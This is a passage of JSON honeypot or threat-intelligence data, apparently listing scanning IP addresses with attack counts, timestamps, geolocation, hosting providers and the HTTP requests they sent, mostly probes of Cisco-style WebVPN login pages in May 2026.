      "first_seen": "2026-05-31T00:46:52.497Z",
      "last_seen": "2026-05-31T05:15:00.131Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "37.19.221.175": {
      "attack_count": 60,
      "first_seen": "2026-05-02T05:29:42.814Z",
      "last_seen": "2026-05-31T02:48:29.216Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.160.24.195": {
      "attack_count": 42,
      "first_seen": "2026-05-05T02:49:07.610Z",
      "last_seen": "2026-05-29T10:07:18.107Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "37.19.221.177": {
      "attack_count": 39,
      "first_seen": "2026-05-02T02:28:23.126Z",
      "last_seen": "2026-05-29T18:36:47.459Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.119.207": {
      "attack_count": 30,
      "first_seen": "2026-05-17T07:08:12.944Z",
      "last_seen": "2026-05-30T07:09:28.617Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "172.121.59.240": {
      "attack_count": 28,
      "first_seen": "2026-05-26T08:50:01.035Z",
      "last_seen": "2026-05-30T06:58:52.640Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "23.234.105.213": {
      "attack_count": 27,
      "first_seen": "2026-05-09T01:29:39.603Z",
      "last_seen": "2026-05-24T04:31:57.414Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.254.164": {
      "attack_count": 24,
      "first_seen": "2026-05-02T01:11:05.232Z",
      "last_seen": "2026-05-29T20:40:01.213Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.111.73": {
      "attack_count": 24,
      "first_seen": "2026-05-04T20:41:47.519Z",
      "last_seen": "2026-05-30T10:17:30.022Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.134.142.225": {
      "attack_count": 24,
      "first_seen": "2026-05-02T00:59:11.685Z",
      "last_seen": "2026-05-24T03:23:59.514Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "103.251.26.150": {
      "attack_count": 21,
      "first_seen": "2026-05-02T03:21:46.738Z",
      "last_seen": "2026-05-27T21:30:25.349Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.251.26.68": {
      "attack_count": 21,
      "first_seen": "2026-05-03T06:33:36.632Z",
      "last_seen": "2026-05-31T02:18:44.350Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "104.36.50.18": {
      "attack_count": 21,
      "first_seen": "2026-05-05T19:05:48.308Z",
      "last_seen": "2026-05-30T11:28:45.454Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "136.234.242.170": {
      "attack_count": 21,
      "first_seen": "2026-05-27T10:11:04.527Z",
      "last_seen": "2026-05-30T07:39:27.151Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "146.70.166.161": {
      "attack_count": 21,
      "first_seen": "2026-05-04T22:34:02.896Z",
      "last_seen": "2026-05-23T01:09:22.494Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "156.229.245.31": {
      "attack_count": 21,
      "first_seen": "2026-05-27T11:54:58.789Z",
      "last_seen": "2026-05-31T05:20:17.580Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.255.135": {
      "attack_count": 21,
      "first_seen": "2026-05-27T18:05:54.326Z",
      "last_seen": "2026-05-29T05:46:03.729Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "185.39.17.215": {
      "attack_count": 21,
      "first_seen": "2026-05-26T16:40:20.015Z",
      "last_seen": "2026-05-29T18:20:58.366Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Saint John",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "185.98.41.113": {
      "attack_count": 21,
      "first_seen": "2026-05-29T04:01:12.554Z",
      "last_seen": "2026-05-30T10:21:19.539Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.73.213": {
      "attack_count": 21,
      "first_seen": "2026-05-14T04:32:57.641Z",
      "last_seen": "2026-05-29T23:19:18.041Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.67": {
      "attack_count": 21,
      "first_seen": "2026-05-03T14:47:06.866Z",
      "last_seen": "2026-05-27T02:35:56.317Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.128.124.57": {
      "attack_count": 21,
      "first_seen": "2026-05-26T04:19:54.881Z",
      "last_seen": "2026-05-30T14:47:31.328Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "5.42.218.85": {
      "attack_count": 21,
      "first_seen": "2026-05-27T18:37:49.056Z",
      "last_seen": "2026-05-31T04:54:31.682Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.211.33": {
      "attack_count": 18,
      "first_seen": "2026-05-03T12:06:14.435Z",
      "last_seen": "2026-05-29T18:21:20.909Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.106.200": {
      "attack_count": 18,
      "first_seen": "2026-05-04T12:48:59.328Z",
      "last_seen": "2026-05-07T12:21:24.544Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.110.195": {
      "attack_count": 18,
      "first_seen": "2026-05-05T14:27:55.020Z",
      "last_seen": "2026-05-26T09:24:09.923Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.130": {
      "attack_count": 18,
      "first_seen": "2026-05-04T22:17:10.693Z",
      "last_seen": "2026-05-30T05:35:56.722Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "149.40.50.114": {
      "attack_count": 15,
      "first_seen": "2026-05-02T00:54:33.784Z",
      "last_seen": "2026-05-23T09:30:22.012Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.156.46.132": {
      "attack_count": 15,
      "first_seen": "2026-05-07T06:01:02.911Z",
      "last_seen": "2026-05-31T03:43:50.025Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.109.80": {
      "attack_count": 15,
      "first_seen": "2026-05-04T10:37:45.529Z",
      "last_seen": "2026-05-25T21:51:15.137Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.119.24": {
      "attack_count": 15,
      "first_seen": "2026-05-06T02:55:18.916Z",
      "last_seen": "2026-05-27T10:35:24.335Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.206": {
      "attack_count": 15,
      "first_seen": "2026-05-05T21:32:18.747Z",
      "last_seen": "2026-05-31T02:57:33.823Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.88.200": {
      "attack_count": 15,
      "first_seen": "2026-05-04T21:30:19.799Z",
      "last_seen": "2026-05-27T15:52:25.485Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.151.103.164": {
      "attack_count": 14,
      "first_seen": "2026-05-26T14:24:34.171Z",
      "last_seen": "2026-05-27T21:54:46.747Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.111.3.169": {
      "attack_count": 14,
      "first_seen": "2026-05-29T14:06:21.617Z",
      "last_seen": "2026-05-29T23:32:46.078Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "142.252.126.37": {
      "attack_count": 14,
      "first_seen": "2026-05-27T12:27:02.628Z",
      "last_seen": "2026-05-31T04:00:06.910Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.84.30": {
      "attack_count": 14,
      "first_seen": "2026-05-26T05:49:01.689Z",
      "last_seen": "2026-05-29T11:20:39.616Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "156.229.244.149": {
      "attack_count": 14,
      "first_seen": "2026-05-27T23:09:54.804Z",
      "last_seen": "2026-05-29T20:15:41.082Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Florida City",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.205.37": {
      "attack_count": 14,
      "first_seen": "2026-05-26T10:22:33.168Z",
      "last_seen": "2026-05-29T03:44:41.596Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "45.130.184.156": {
      "attack_count": 14,
      "first_seen": "2026-05-29T14:23:01.744Z",
      "last_seen": "2026-05-30T02:53:33.833Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.192.45.166": {
      "attack_count": 14,
      "first_seen": "2026-05-26T01:58:39.743Z",
      "last_seen": "2026-05-27T07:03:08.443Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "88.151.115.42": {
      "attack_count": 14,
      "first_seen": "2026-05-26T06:14:30.182Z",
      "last_seen": "2026-05-30T08:56:07.054Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.172.158": {
      "attack_count": 12,
      "first_seen": "2026-05-07T10:53:37.001Z",
      "last_seen": "2026-05-23T17:41:21.987Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.158": {
      "attack_count": 12,
      "first_seen": "2026-05-05T20:59:07.927Z",
      "last_seen": "2026-05-17T02:55:40.602Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.253.207": {
      "attack_count": 12,
      "first_seen": "2026-05-09T10:41:33.894Z",
      "last_seen": "2026-05-30T09:17:22.791Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.255.203": {
      "attack_count": 12,
      "first_seen": "2026-05-02T07:14:24.914Z",
      "last_seen": "2026-05-25T23:37:46.756Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.199": {
      "attack_count": 12,
      "first_seen": "2026-05-02T08:44:03.625Z",
      "last_seen": "2026-05-07T11:08:57.204Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "65.49.1.38": {
      "attack_count": 11,
      "first_seen": "2026-05-05T10:45:39.837Z",
      "last_seen": "2026-05-05T10:52:11.045Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "23.234.91.24": {
      "attack_count": 10,
      "first_seen": "2026-05-04T17:24:05.337Z",
      "last_seen": "2026-05-27T20:56:41.830Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.255.81": {
      "attack_count": 9,
      "first_seen": "2026-05-05T09:53:22.307Z",
      "last_seen": "2026-05-27T14:02:55.267Z",
